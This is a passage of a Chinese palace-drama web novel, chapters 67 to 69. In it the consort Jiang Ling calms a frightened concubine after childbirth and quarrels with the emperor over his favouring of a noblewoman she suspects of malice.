赵德妃始终看着赵嫔,说完之后,她懒洋洋侧首看向窗棂外,黄嬷嬷走了上前,恭敬地道:“娘娘,高美人生了,诞下了四皇子。” “后宫之后又添丁了,真是大喜事,照以前那样备份礼送去。”赵德妃面上看不出任何的神情,吩咐道。 “是。”黄嬷嬷准备退下,赵德妃又道:“你领老夫人进屋去,将我的料子拿出来,让老夫人挑选。” 高老夫人听到后宫又有皇子诞生,心情很是复杂。她想再与姐妹俩再说上几句,黄嬷嬷已经满脸笑容地上前,“老夫人,奴婢陪着你去挑选料子。” 无奈之下,高老夫人随着黄嬷嬷离开。赵德妃笑起来,眸中却一片冰冷。 “赵氏的情形,你都看到了。你也有料子,但你不肯拿出来。还未进宫时,你知道家中拮据,但你就是看不见,心安理得享受着不该属于你的荣华,名声。” 赵嫔神色难看至极,咬紧牙关,死死盯着赵德妃:“德妃娘娘是赵氏的天,赵氏有德妃娘娘撑着呢!原来,德妃娘娘撑不住了啊!” 赵德妃呵呵冷笑,“你终都没变啊,我的好姐姐!你以为可以站干岸看笑话,赵氏若不好,你休想独善其身!” “我的好妹妹,你这些年也没变呢。” 赵嫔再也忍不住,反唇相讥起来:“我有的东西,你总吵着要一份。看到我做了新衫,你吵着阿娘也要给你做。阿娘不答应,你就偷偷将我新衫划破。我的好妹妹,你看着我进宫,你也发誓要进宫。进宫之后,你生了皇子,我只生了公主。从此以后,赵氏由你说了算,当家做主。” 她捂嘴笑起来,啧啧两声,“我的好妹妹,你聪慧无双,算无遗策。我的好妹妹掌着的赵氏,竟然落得如此光景。” 赵德妃一瞬不瞬盯着赵嫔,眼神狠厉如刀:“我不与你耍嘴皮子功夫,只告诉你一句,休要自作聪明。张稳婆之事,被你侥幸逃脱了过去。再惹出一次来,你多想想阿棠!” 赵嫔顿了下,紧咬着唇一言不发。暖阁中,一时剑拔弩张,气氛凝重。 繁英阁。 三皇子撅着屁股,在榻上爬来爬去。文涓与紫衫守在一旁,扎着手紧张地守着,生怕他磕到摔下来。 吴适山等高美人生产后,前来给江舲把平安脉。他认真地把完脉,道:“娘娘的身子很好,只歇得少了些,平时多注意歇息就是。” 有三皇子这个淘气的在,江舲现在再也不能如以前那样,一天除了吃就是睡。她不禁没好气朝流着口水,咯咯傻笑的三皇子看去,道:“没法子,他一刻都不停,得看着他。” 吴适山看着三皇子,笑道:“三皇子生得机灵,活泼好动。娘娘将三皇子养得很好,如今好些世家的夫人们,学着娘娘一样,都愿意亲自喂养孩子呢。臣还听说,有朝臣上折子,请皇上立三皇子为储君。” 江舲大惊,不算刚出生的四皇子,元明帝还有已经长大的大皇子二皇子。 立嫡立长,都轮不到尙半岁,还在榻上爬的三皇子。 背后的人,终于开始忍不住,要害他们母子了! 第67章 江舲从未主动与人结仇, 但事关江山天下,她的妃位加上三皇子,就已经被动树敌。 庄美人刚生下四皇子, 她平时算是小透明,基本上可以排除。 余下只有林贵妃与赵德妃, 江舲再想得深一些,柳贤妃也有可能。 擒贼先擒王, 江舲不管是谁在背后捣鬼, 元明帝才是重中之重。 垂拱殿与繁英阁离得近,若无朝政大事, 元明帝几乎每日都会来一趟。 傍晚时分,元明帝出风得以地到来, 江舲在喂三皇子吃樱桃果泥。樱桃有些酸, 一口吃进去,胖脸蛋皱成一团,伸出小舌头往外吐。 江舲看得忍俊不禁, 作势将小碗拿走, 三皇子又不依了, 哼哼唧唧叫嚷起来。 “这小子, 真是嘴馋。”元明帝看得失笑, 看着碗里的樱桃果泥, 咋舌道:“这樱桃酸得很,你添些蜜在里面。他方长出来两颗小牙, 仔细酸掉了。” 未满一岁的婴儿, 不能吃蜂蜜。元明帝不懂,江舲懒得与他解释,道:“他主要还是吃奶, 只与他尝一尝而已,若酸得太过,他不会吃进去。” 说话间,江舲又喂了三皇子一口,这次他小嘴抿着,没再吐出来。 “还真是。”元明帝哈哈笑着,取了布巾,动作轻柔擦拭着三皇子糊在嘴角的樱桃泥。 三皇子歪着脑袋躲,不满地嗯嗯大叫抗议,元明帝佯装虎着脸,“朕服侍你小子,你还不愿意!” 江舲赶紧把碗中最后一口喂给三皇子,给他擦拭干净手脸,放在榻上让他爬着玩耍。 元明帝目光慈爱追着一刻不停的三皇子,忍不住去捏他藕节般的短腿,关心地道:“夜里天气凉,怎能光着小脚。” 三皇子动个不停,天气暖和起来,给他穿上罗袜,过一阵就被他扯掉了。 江舲试探过他后背后脖子的体温,小手小脚也暖呼呼,就随了他去。 平时元明帝总是喜胡乱指挥,江舲左耳朵进右耳朵出,她岔开话题,道:“还没恭喜皇上呢,皇上又喜得龙子,皇家子嗣兴旺,是大胤之福啊!” 元明帝突然想起当时听到过江舲在心里腹诽,儿子多了,争夺大位会将他骨头都拆着吃掉。 思及此,元明帝脸上的笑淡了下去,不动声色打量着江舲,心中怀疑陡生。 已经极少听到她内心的声音,究竟是她未曾多想,还是他已失去天子独有的这份本事? 元明帝沉吟着,道:“小舟与四皇子年纪相近,以后正好做玩伴,一起读书上学堂。” 大皇子与二皇子年纪也未相差几岁,同由朝臣大儒教导着读书。两人在人前兄友弟恭,私下却从无往来。 江舲不知是自己太过天真,还是人性的可笑。元明帝的试探她并非看不出来,但他也真正盼着儿子们能和睦相处,避免同室操戈的惨剧。 三皇子爬到江舲身上,伸出胖胳膊,咿咿呀呀叫着,试图去扯她的衣襟绊扣。 江舲将他抱在怀里,让他扯着玩耍,随意问道:“皇上,臣妾听到了些传言,朝堂上有人上折子,请求立小舟为太子。” 元明帝顿了下,心思转了几圈,哦了声,道:“是有朝臣上折子请朕立储。三皇子生得活泼机灵,难道你不盼着他能有出息?” “臣妾当然盼着他有出息。”江舲直言不讳认了,道:“臣妾当然想着他能当储君,当皇帝。” 元明帝没曾想江舲这般直接,他愣在那里,反倒一时不知该如何作答了。 “臣妾有自知之明,一将无能,累死千军。身为一国之君,若只是平庸,算不得最惨。若是愚蠢且不自知,便是天底下百姓的灾难。” 江舲叹了口气,贴了贴三皇子的额头,柔声道:“阿娘盼着你长大后,心怀大慈。最重要之处,你要记住了,你所得的一切,都并非是应得。你的荣华富贵,是有人用血肉供养了你。无数的蝼蚁,替你铺平了坦途。” 这些话,江舲斟酌又斟酌过。她知道身在皇家,吃穿用度皆是由百姓供奉,她所言的仁慈,显得格外虚伪。 但她最终还是说了出来,虽身在危机重重的后宫中,但她怕变成他们一样。 她是人,知道何为文明的人! 三皇子不知世事,只咯咯笑个不停,笑声欢快得令人嫉妒。口水挂在嘴角,晶莹,摇摇欲坠。 元明帝心头一震,一瞬不瞬地盯着江舲,仿佛从未认识过她。 身为帝王,元明帝当然懂得江舲所言的意思,只从未有人敢言明。帝王之术,讲究权衡之道,亦是为了巩固江山社稷。 江舲对三皇子的期盼,简直是大逆不道。储君当要能当大任,绵延萧氏的天下。 但是,要是帝王昏聩愚蠢,造成天下生灵涂炭,民不聊生,萧氏的江山也就完了。 天子一味仁慈,则为软弱,君退臣进,百姓倒能苟得太平。 有自知之明的人,却是甚少,何止天子。 元明帝心潮起伏,觉着五味杂陈。他对江舲深信不疑,只不知该如何判别她的聪慧。 以前他总以为,江舲木纳迟钝。殊不知,她的所思所想,时常出乎意料,让他耳目一新。 三皇子有江舲这个母亲教导,比起大儒也不差。 江舲道:“皇上,要是有请求将三皇子立为储君的折子,臣妾大胆妄言一句,皇上将折子上的话,当做他们在放屁吧。” 元明帝止不住笑了出声,觉着不妥,忙端正了身形,道:“胡闹,不可出言粗鄙!” 江舲暗中白眼一翻,将三皇子举在身前,他手舞足蹈一阵乱蹬,“皇上瞧他,连牙都没长两颗呢!” 帝王多疑,过犹不及。元明帝还年轻,帝王正做得有滋有味。当前的情形下,提立储之事,便是提醒他驾崩,定会令他厌恶。 江舲此时能确定,背后指使者,定是赵德妃林贵妃中的一人。或者,是她们两人联手。 三皇子咯咯笑着,元明帝瞧着他稚趣,红扑扑的脸颊,脸上不知不觉浮起了笑意,接过他抱在怀里,笑道:“你小子,别去闹你阿娘” 江舲还未来得及提醒,三皇子手快若闪电,一下抓到元明帝的下颚上。 “哎哟,别抓!”元明帝忙扭转头躲避,只闪避不及,脸被抓出一道红痕。 江舲嘴角抽搐了下,默默将三皇子抱了过来,握着他的胖手一瞧,讪笑道:“指甲又长了,等下阿娘给你剪一剪。” 元明帝摸着被抓挠过的脸,呲着牙犹豫道:“他还小呢,怎能剪指甲。” “指甲与头发一样,都该随时修剪。身体发肤受之父母,圣人的这句话,后世之人理解得太过狭隘。” 头发太长太厚,清洗不便。修剪头发的禁忌太多,江舲总是偷偷摸摸修。 眼见天气炎热,江舲不想顶着一头冒酸味的发髻,面不红心不跳地道:“臣妾以为,圣人之言的意思是,身体发肤受之父母,是性命来自父母,得要好生珍重。正衣冠,净发肤,保持洁净,整齐,方是对父母的报答。一头脏臭的乱发,脏污的肌肤,遍布污垢的长甲,此为大不孝,不曾善待父母所给的性命。” 元明帝瞪着江舲,无语半晌,道:“你说得虽是歪理,不乏有些可取之处。朕允了你,你愿意何时修剪,何时修剪则是。” 朝堂上的朝臣虽戴着官帽,露出帽檐的头发,好些都泛着油光,冬日时犹盛。 夏日炎热时,常能闻到朝臣身上的酸臭汗味。元明帝体恤此乃人之常情,从未出言责怪。 只他喜洁,江舲所言正暗暗合了他的意。 三皇子饿了,脑袋在江舲身前拱着,哼哼唧唧起来。江舲让元明帝先去用膳,“臣妾先喂过他后,再来用膳。” 元明帝嫌弃地看着三皇子,“朕等一等你。你已喂养这般久,夜里都睡不好,不如找奶娘来伺候。” 养孩子确实不易,除紫衫阿箬,文涓另选出了两个忠厚可靠的宫女丹桂青檀。江舲身边有一大群人伺候,她清闲得很。看顾三皇子,也是打发无聊的深宫岁月。 江舲道:“臣妾平时也没甚事,待他再大一些再说。” 元明帝揶揄道:“你并非没事,只你不肯管事。” 江舲管着的尚寝局,将权力全部交给秦尙宫,如今一切都太平无事。 后宫不算大,以江舲如今的地位,要是秦尙宫有半点不妥之处,定会有人传到她面前。 江舲只看账本,结合尚寝局的动静,无需事无巨细盯着。 她轻松,秦尙宫也能施展拳脚,彼此双赢。 想到这里,江舲不禁一怔。 元明帝也应当一样,前朝后宫中的动静,称不上了若指掌,也应该知道得七七八八。 京城有皇城司,皇宫中则是前朝的宿卫,后宫中内侍内省的护卫。 后宫中发生的诸多事情,例如方司灯,高才人之死,元明帝似乎并不知究竟。 谁能瞒天过海,谁就是主使之人! 江舲回忆着以前发生的诸多事,林贵妃赵德妃她们的反应,心怦怦跳,答案呼之欲出! 阿箬这时进屋来,道:“娘娘,高美人宫中的云慧来了,说有紧急之事,想要求见娘娘。” “高美人?”江舲回过神,高美人方才生产,她心里一咯噔,朝元明帝看去。 元明帝神色也沉了下去,道:“让她进来。” 阿箬忙应声退下,江舲将三皇子交给文涓看着,理好衣衫来到明间。 云慧进了屋,她神色焦急,一下在地上跪下,颤声道:“皇上,淑妃娘娘,庄美人身子原就虚弱,诞下四皇子后,更是虚弱不堪,一直流泪不止。庄美人怕自己熬不过去,想要求见淑妃娘娘一面。” 庄美人从怀孕起,就病病殃殃。江舲以前便说过,让她多吃饭,少吃药。至于她可有听进去,江舲就不敢多管了。 不过,庄美人生产时并未大出血,产褥症也没这般快。她虽虚弱,熬不过去就夸张了。 涉及到皇子,江舲不想参与进去,心里飞快想着如何拒绝,元明帝已经站了起身:“朕随你一道前去。” 江舲无法,只能跟着元明帝来到庄美人的寝宫华庆阁。 到了掌灯时分,宫中灯火璀璨。华庆阁亦如此,因着庄美人诞下四皇子,护卫森严。 袁长生正领着护卫巡逻经过,见到元明帝一行过来,远远立着恭敬见礼。 江舲侧头看去,袁长生垂首肃立,看不清他的容颜神色。 只颀长身上穿着的紫红衣袍,在灯下,犹如干涸的血般刺目。 第68章 袁长生敏锐机警, 察觉到江舲的打量,借着起身之机与夜色掩饰,不动声色看了过来。 江舲蓦地心头一寒, 仿佛在夜里遇到潜伏着的猛兽。那双眼眸古井无波,惟有冷冰冰, 对猎物的打量。 不过,江舲的不适转瞬即逝, 袁长生很快便颔首见礼。清俊的脸上浮起笑容, 犹如春日绽放的满树繁花,雪白昳丽。 元明帝已经走进大门, 袁长生也领着护卫离开。江舲暗自呼出口气,克制住心中的情绪, 跟着进了门。 庄美人住在华庆阁主屋, 原本还有四个低品级的嫔妃依附她同住。自从有身孕之后,元明帝下令让另外两人搬走,让庄美人能安静养胎。 两个贵人迎了出来, 盈盈屈膝见礼:“臣妾见过皇上, 淑妃娘娘。” 元明帝朝她们看了眼, 问道:“你们在这里作甚?” 一人上前回答:“回皇上的话, 臣妾自庄姐姐发作, 便前来主屋守着。臣妾自忖帮不上什么大忙, 能帮着跑腿搭把手,算是尽了绵薄之力, 不负庄姐姐平时对臣妾的关心。” 后宫的嫔妃多, 江舲极少出门,对两人很是眼生。说话之人身着翠绿宫装,人亦如春日的嫩芽般鲜灵, 人大约十五六岁,娇俏动人。 另外一人年纪相仿,她身着藕荷色的宫装,身形微丰,圆润的脸庞,看上去娇憨天真。 元明帝唔了声,道:“你们倒是懂事,且下去歇着吧。” 两人屈膝告退,元明帝看了她们片刻,对江舲道:“你进去瞧瞧,朕在屋中等着。” 江舲道是,随着云慧进了产房。甫进屋,浓浓的腥气夹杂着药味铺天盖地扑来,将江舲差点掀个趔趄。 “美人,淑妃娘娘来了。”云慧走到产床边,低声提醒道。 高美人双眼微闭,虚弱地靠着褥子。闻声睁开眼,手撑着就要起身见礼。 “美人小心。”云慧与另一贴身伺候的宫女云霞,两人赶忙搀扶住了高美人。 江舲实在憋不住了,只能先松气,道:“庄美人身子弱,无需多礼,快好生躺着吧。” “多谢娘娘。”庄美人声若蚊呐地回了句,就着云慧云霞两人的手躺回褥子上。短暂的动作,让庄美人不胜体力,躺着连喘了几口粗气。 产房的门窗都紧闭着,屋内气味实在太难闻,江舲欲让人开些透气。转念一想,究竟是忍住了,问道:“不知庄美人见我何事?” 庄美人手伸过去,搭在云慧云霞的手臂上,急着道:“娘娘,我害怕,只怕活不长了。生产后,我没有奶水喂养,娘娘,我这残破之躯,只怕没多久可活,可怜四皇子早早就没了阿娘……” 她说得太急,颠三倒四,一时气提不上来,垂头急促地喘息着。 屋内灯烛明亮,回荡着庄美人的呼气声,诡异又惊悚。 江舲怔怔看着庄美人,她整个人像是惊弓之鸟,紧绷着的神情,轻轻一碰触就会碎掉。 虽不知庄美人为何会变成这般,江舲心底叹了口气,道:“庄美人,你刚刚生产,千万不要多想,先歇息好,养好身子为重。” “娘娘!”庄美人叫了声,声音急促而尖锐,“我不傻,徐才人的胎儿没了,四皇子本是段才人的儿子,段才人也不算,前面没了好几个。从有身孕起,我就时常做噩梦,一天没能安生过。他们都说娘娘是有福气之人,娘娘心善,宽厚,娘娘,你替我出出主意,我想活着,看着我儿长大” 江舲看到庄美人的眼泪,沿着脸颊缓缓流下。她眼眶深陷下去,脸白得发青,神志明显已经不对劲。 “四皇子呢?”江舲闭了闭眼,问道。 “四皇子在卧房,云朵与云烟看着。”云慧答道。 “庄美人没有奶水,让奶娘去喂养四皇子。”江舲果断地下令。 云霞犹豫了下,赶忙出去了。江舲再指着窗棂道:“去开些透气。让膳房送碗鸡汤面进来,庄美人吃饱了再说。” 云慧连忙放下庄美人,赶着前去开窗透气,让小宫女去膳房拿膳。 庄美人脱力地躺在褥子上,双眸呆滞地看着前方,泪仍旧不断汩汩而下。 江舲看得心里难受,庄美人病得不轻,她只能尽力地道:“庄美人,你现在身子没力气,先吃饱再去想其他。产房的气味太难闻,这样对你身子不好,已经到了暮春,天气暖和了起来,你不要怕会着凉。” 庄美人轻轻点了下头,喃喃道:“春天就快过去啊。” “是,今年过去了,明年春天还会再来。”江舲不让庄美人太过伤春悲秋,飞快地接道:“有奶水就自己喂,没奶水就让奶娘喂。大皇子二皇子大公主二公主都是奶娘喂养,他们也好好的,你莫要担心。” 考虑到庄美人看着四皇子,在熟悉的卧房中,比起她在气味难闻的产房,胡思乱想担惊受怕要好。 江舲再吩咐云慧:“云慧,让庄美人吃些水。再准备些热水,给庄美人擦拭一下身子,换上干爽的衣衫,等下把她抬回卧房去。” 云慧早就没了主意,江舲发令,她也不管庄美人,一一应下。摸到案几上暖釜的水还温着,倒了一盏递到庄美人嘴边:“美人,你吃些水。” 庄美人偏开头,江舲见状,温声劝慰道:“你吃些水缓缓,等下鸡汤面也要吃下去,那些药汤先别管,吃饱饭为主。” 云慧跟着劝,庄美人终于吃了两口水。她长长喘了口气,神色总算松弛了些。 江舲再道:“你先要将自己养好,先活下去,才能看着四皇子长大。” 庄美人抽噎了几声,泪眼朦胧道:“娘娘说得是,我要活着,看着我儿长大。” 江舲见她想活着,稍微放了些心。云霞送了鸡汤面进屋,庄美人吃进去小半碗。随即云朵云霞伺候庄美人擦拭更换过衣衫,叫来粗使宫女,抬着庄美人回到卧房安歇。 摇车中的四皇子,虽比三皇子生下来要瘦小些,奶娘喂过之后,躺在那里睡得香甜无比。 庄美人侧身躺在床上,一瞬不瞬看着摇车中的四皇子,神色慈爱柔和。 江舲道:“四皇子的摇车就放在床边,有云慧她们看着,你先睡一会。我就先回去了,有事你再让人来找我。” “多谢娘娘,叨扰到娘娘,让娘娘费心了。”庄美人撑着起身,感激地道。 “快歇着吧。”江舲忙劝她躺下,转身出屋。 云慧跟着送了出来,江舲对她道:“如今正值紧要关头,你要多费些心,让庄美人歇息好。庄美人与四皇子安然无恙,华庆阁一众伺候的人,才会安然无恙。” “是。”云慧战栗了下,赶忙低头应下。 江舲又道:“你们的身子也不是铁打的,大家轮流歇息,别强撑,歇息好才能当好差。等庄美人好起来,我会去皇上面前替你们求个功劳。” 云慧赶忙道谢,她咬着嘴唇,转头四望后,低声道:“娘娘,汪贵人与韩贵人时常来陪着美人说话,总爱说些宫中的陈年往事。美人心思重,听进了心里去,吃不好睡不好。美人生产时,奴婢就怕她们来,可是奴婢身份低微,不敢拦着。” 江舲想着先前见到的两个贵人,问道:“庄美人生产时,她们说什么了?” “韩贵人说,让美人放心,会顺当生产,四皇子不会被拉扯出来。汪贵人说,妇人都要生产,生不出来,生了流血不止的妇人总归是少。” 云慧想起就来气,道:“在生产的紧要关头,说劳什子孩子被扯出来,流血不止,岂不是吓唬人,晦气。何况美人本就爱多想,这一听,被吓得一直哭个不停,让奴婢前来找娘娘救命。” 江舲愣了下,问道:“她们今朝着何种颜色衣衫?” 云慧答了,原来着翠绿宫装者是韩贵人。江舲思索着,凭着先前碰到两人的言谈举止,无论如何都不像没眼力见之人。 无论她们是不懂说话场合,还是心怀叵测。以庄美人的状态,她们不能再来“帮忙”。 江舲不便直接下令,想了想,道:“庄美人生产后要静养,其他人等不便前来打扰。我会去与皇上说一声,好让庄美人安生坐月子。” 云慧大松口气,连连道谢。江舲让她留步,来到明间,屋中空无一人。 “皇上呢?”江舲问道。 随行伺候的青檀忙道:“回娘娘,皇上先前等了一阵,见娘娘这边事情多,一时走不开,先回垂拱殿了。” 江舲顿了顿,火气从心底往上蹭蹭地窜,暗自将元明帝祖宗八代都问候了一遍。 快到辰时中,江舲还未用晚膳。三皇子要吃奶睡觉,她先回了繁英阁。 匆匆用了些饭菜,三皇子困了,开始唧唧哼哼。江舲喂了奶,哄着他睡下,总算能歇口气。 想到庄美人那边的事情要紧,江舲前往垂拱殿。寝宫中灯火通明,黄梁守在门外,听到张善前来回禀,神色一怔,赶忙亲自迎了出来:“娘娘来了,娘娘可是出了什么事?” 江舲道:“是庄美人那边的事,皇上还未歇息吧?” 黄梁脸上尴尬闪过,小声道:“娘娘,皇上方才召了韩贵人侍寝。” 江舲愣了愣,问道:“韩贵人?是华庆阁的韩贵人?” 黄梁道:“正是华庆阁的韩贵人。” 狗东西! 江舲怒火攻心,狂骂不止,恨不得将疲软男的东西斩下喂狗!她脸色铁青,不管不顾低往里冲。 黄梁呆了下,很快反应过来,连忙拉住江舲,语重心长劝道:“娘娘,莫要冲动。” 先前为他的嫔妃在辛苦忙碌,他却先离开去歇息用膳。江舲并非生气他万事不管,毕竟他是皇帝,皇帝向来嘴最好用,手脚都基本残废。 江舲是不耻元明帝的凉薄,庄美人在他心中,连顿晚膳都比不过! 甚至,他到华庆阁走一遭,心思却放在了脐下三寸丁上! 江舲气上了头,抬手挣脱开,道:“你别管,有事我会担着,不会让你们受到牵连。” 黄梁急了,不敢再动手,只能拦在江舲面前,苦口婆心劝道:“娘娘正在气头上,这一去,指不定会说错话,惹来皇上不喜。娘娘是聪慧之人,何须在此事上执着。娘娘先去朵殿歇着吃口茶,待皇上空下来……” 他似乎觉着不妥,支吾了下,改口道:“等过一阵,奴婢再领娘娘去见皇上。” 黄梁的一片好心,江舲何尝不明白。只她实在意难平,铁青着脸一时没有做声。 这时,袁长生领着护卫,从远处逶迤而来。 黄梁赶忙直起身,对袁长生笑道:“怎地,你还在当值?” 袁长生朝黄梁颔首,抬手朝江舲施礼,神色恭谨道:“皇上寝宫之地,淑妃娘娘若无召,不得在此多留。” 他手一抬,客气地道:“奴婢得罪了,淑妃娘娘,还请回繁英阁去。” 第69章 江舲尚未反应过来, 黄梁先站了出去,沉下脸不悦道:“淑妃娘娘前来垂拱殿,是为紧要之事回禀皇上。” 垂拱殿是大胤权力中枢, 禁令森严。照着规矩,后妃非传召, 不得靠近。有要事面圣,则除外。 袁长生不紧不慢地道:“既是紧要之事, 不可在门前逗留。”他朝江舲一礼, “淑妃娘娘还请进殿,若已回完事, 还请回繁英阁。夜已深,不得在外随意走动。” 身为护卫皇宫的内侍宦官, 袁长生只听令于元明帝。他一向忠心耿耿, 勤勉,几乎不见歇息,守护元明帝以及一众后妃的安危。 袁长生城府极深, 聪明, 并非严苛到不近人情。听到黄梁的解释, 将规矩抬了出来, 也是给江舲一个台阶下。 江舲本怒火滔天, 经过袁长生这一通搅和, 突然就意兴阑珊。她对黄梁颔首:“我回去了,叨扰到黄大伴, 着实抱歉得很。” 黄梁暗中瞪了眼还立在那里, 虎视眈眈看着他们的袁长生,道:“娘娘放心,奴婢会回禀皇上, 娘娘前来过。” “不用了。”江舲不欲见到元明帝,一口拒绝了。 送佛送到西,考虑到如惊弓之鸟的庄美人,江舲补充了句:“你就跟皇上说一声,华庆阁的两位贵人,最好莫要前去陪着庄美人说闲话。庄美人刚生产,需要安生坐月子。四皇子更需要清净,睡得多方长得好。” “是是是,娘娘尽管放心,奴婢一定如实回禀皇上。”黄梁连连说道。 他何等精明之人,一听便知韩汪两人有问题。元明帝偏生传了韩贵人侍寝,怪不得江舲那般生气。 袁长生等了片刻,又要上前催促。江舲面无表情,目不斜视从他面前走了过去。 夹道黑暗,阿箬提着灯盏随侍左右,听到后面传来的脚步声,不由得转回头,看到袁长生领着护卫,不远不近在身后跟着。 “娘娘,袁大伴他们在后面。”阿箬上前一步,小声地对江舲说道。 “不要搭理他们。”江舲冷冷道,不紧不慢朝前走着。 到了繁英阁,江舲进了抱厦。这时她脚步微顿,听到袁长生一行从大门前经过。她迟疑了下,转身来到门边,夜色中,袁长生一行往西北方向巡护了过去。 西北边坐落着太妃们的居所,小花园,公主与皇子们的居所。柳贤妃居住的柔仪宫,亦在西面靠南处。 “娘娘。”阿箬见江舲站在那里发呆,疑惑地唤了声。 “没事,回去吧。”江舲转身进了门。 回屋前去看过三皇子,他睡得正酣。看了下时辰,再过不久他就该吵着要吃奶,江舲赶紧前去更洗,抓紧功夫上床歇下。 迷迷糊糊中,值守的文涓撩起床帐,将江舲轻声唤醒:“娘娘。” 江舲以为三皇子醒了,她熟门熟路地靠在床头,打着哈欠道:“将他抱来吧。” “娘娘,皇上来了。”文涓见江舲闭着的眼睛,只能提醒道。 江舲缓缓睁开眼,看到元明帝立在床前,她震惊了下,像是见到鬼一样,上下打量过去。 卧房内只点了八角宫灯,元明帝背着灯,一时看不清他的神情。 元明帝咳了声,挥手斥退文涓,上前侧身在床沿上坐下:“听黄梁说你有紧要之事要见朕,朕已经责罚了黄梁,他竟然拦着你,不让你进屋来。” 没曾想到,黄梁因此受到无妄之灾。江舲张了张嘴,那股滑稽与荒唐,让她除去骂人,什么话都不想再说。 元明帝觑着江舲的神情,无端地觉着心虚,干巴巴道:“你来找朕有何事?” 既然他深更半夜大驾光临,江舲便将庄美人的情形,言简意赅,语气平静地如实转告。 元明帝脸颊抽搐了下,道:“朕知道了。” 江舲看了他一眼,也不明白他到底知道了甚。先前才宠信过韩贵人,就算是再翻脸无情,也做不到立即让韩贵人莫再去主屋。” 对元明帝实在厌恶,江舲不欲多言,道:“时辰不早,皇上早些回去歇息,臣妾也要歇着了。” “你莫要生气,朕已经责罚了黄梁。”元明帝讪笑了下,再次出声安慰江舲。 不提黄梁还好,江舲怒火蹭地冲上头顶,问道:“皇上将黄大伴怎地了?” “朕打了他十板子。”元明帝察觉到江舲的反应,做贼心虚地别开头,道:“你早些歇着吧,朕要回去了。” “黄大伴何错之有!”江舲气晕了头,一把拉住元明帝,嘲讽地道:“皇上正在与韩贵人共度春宵,要是黄大伴进来打扰,臣妾与黄大伴都有罪,成了叨扰到皇上纵情享乐的罪人!” “朕如何纵情享乐了?”元明帝脸一红,不禁有些恼羞成怒,怒道:“你莫要仗着朕的宠爱,便能以下犯上!” “皇上的宠爱,比那春雨都要细密呢!花啊草啊一茬接一茬地冒出来,都说春雨贵如油,下得多了,就成了洪涝灾害!” 江舲讽刺全开,气极反笑,松开了元明帝的衣袖,直接背转身躺了下去,拉起被褥蒙住头。怕自己再多看他一眼,眼都会瞎掉。 “大胆!” 从未被人此般顶撞过,元明帝气得鼻子都歪了,上前掀开江舲身上的被褥,将她拉起来,“你与朕说清楚!” “皇上要臣妾说甚?”江舲火大地盖上被褥,双眸圆瞪,眸中尽是灼灼火光。 元明帝只在朝堂上时,见过朝臣急赤白脸地吵架。他经验缺乏,一时被噎在了那里,脑子空空,不知该如何反映。 江舲重新躺了回去,元明帝不甘心,又去扯被褥,不依不饶地道:“你起来,与朕说清楚!” “皇上想听什么,臣妾该说的话,都已经说完了!”江舲紧紧拉着被褥,火冒三丈地回击道。 元明帝气得急促气喘,死死盯着江舲,咬牙切齿地道:“朕宠信谁,召谁侍寝,哪由得你来管,你别忘了自己的身份!” “臣妾有什么身份,就是一个淑妃,淑妃有品级,实则还是妾。妾能管什么,臣妾没管啊。”江舲觉着好笑,阴阳怪气地笑了声,缓缓躺下。 “好你个江氏,如此牙尖嘴利!”元明帝光火大盛,呵呵冷笑,“你看不起淑妃身份,不想做妾,难道你想做皇后,做嫡妻不成!” “我什么都不想做!”江舲干脆连臣妾都不称了,想都不想顶了回去。 她真什么都不想做,一是她在元明帝身上得不到快活。食色性也,少了人生至乐,真真没劲透顶。二是元明帝太过无耻,长久以来累积的怒火,这时像是往干柴火堆中泼了油,再也不受控,熊熊燃烧。 “朕的皇后。要母仪天下,端庄大度,心怀仁慈,文德兼备。你瞧你,跟那拈酸吃醋的市井泼妇般,何来的德行做皇后!” 元明帝啧啧几声,眼神讥讽地看向江舲,见她昂着下巴,跟那斗鸡一样,突然福至心灵。 “你还真是在吃醋。”元明帝莫名地高兴起来,饶有兴致地端详着江舲,压住心头噗噗往上冒的得意,努力地绷着脸,“身为后妃,要谨守妇道,善妒乃是七出之罪。” 七出是指休妻,江舲懒得指出元明帝的错处,看到他浑身透着的自信,真真是一句话都不想与他多说。 元明帝准备再好生教训一番江舲,让她以后能温顺些。他抬了抬手,大马金刀坐回床沿,文涓在门帘外小声道:“娘娘,三皇子醒了。” 江舲披上外衫,掀开被褥下床,趿拉上鞋子走到次间,道:“把他抱来吧。” 被忽视的元明帝,悻悻在卧房站了片刻,心道:“妇人心眼小,爱吃醋,朕不与她计较。”很快,元明帝想明白了,负手在后,跟着走了出来。 文涓抱着哭闹的三皇子进屋,江舲接过来抱在怀里,轻声哄着道:“好了好了,阿娘在呢,别哭啦。” 三皇子脑袋在江舲怀里拱来拱去,哼哼唧唧吃起了奶。江舲垂首望着他,轻轻擦拭着他眼角的泪水。 元明帝站在那里看着,眼神不知不觉变得柔和起来。他想到刚出生的四皇子,心头又是一阵遗憾。 庄美人身子弱,无法亲自喂养四皇子。若她能如江舲一般,将四皇子也养得白白胖胖,活泼机灵就好了。 喂完奶把过尿,三皇子重新睡去,江舲困得眼皮都睁不开,打着哈欠往卧房走去。 已到半夜,元明帝也困了,打算歇在繁英阁,跟着进了卧房。 江舲瞬间清醒,停下脚步挡在门帘前,冷冷地看着元明帝。 “你竟敢赶朕走?”元明帝怔了下,难以置信地盯着江舲,侧身挤进去,怒道:“真是反了你!” 反正夜里也不冷,江舲不想与元明帝争,干脆转身,准备就睡在榻上。 元明帝怒气冲冲脱掉外袍,见江舲不曾进来,来到次间一看,她已经和衣躺在榻上。 “气性真大,都是朕娇惯坏了。” 元明帝哼了声,暗忖着且冷落江舲一阵时日。待她怕了,看她还敢与他叫板。 到黎明时,江舲又起夜喂过一次三皇子。她实在太困,待被三皇子吵醒时,已经日上三竿,元明帝早已离开。 江舲洗漱之后,边喂着三皇子,边吩咐文涓:“你拿些燕窝盏,点心,五两银子前去看望黄梁。就说我连累他挨打,实在对不住。” 文涓吃了一惊,道:“黄大伴挨了板子?” “是。”江舲苦笑一声,道:“你去吧。” 文涓担忧地道:“奴婢昨夜听到娘娘与皇上争吵,今朝皇上离开时,脸色很是不好看。” 睡了一觉之后,江舲早已平静下来。她深知昨夜算是大逆不道,但她不悔。 时光无法倒流,后悔亦无用。再来一次,她仍然会那般做。 江舲静静地道:“伴君如伴虎,君心难测,皇上那张脸,笑也不好看。” 文涓听得目瞪口呆,她不敢接话,赶忙道:“奴婢去看黄大伴了。” “你等等。”江舲思索了下,道:“你等下顺道去趟华庆阁,找云慧问一声,庄美人与四皇子的情形如何了。” 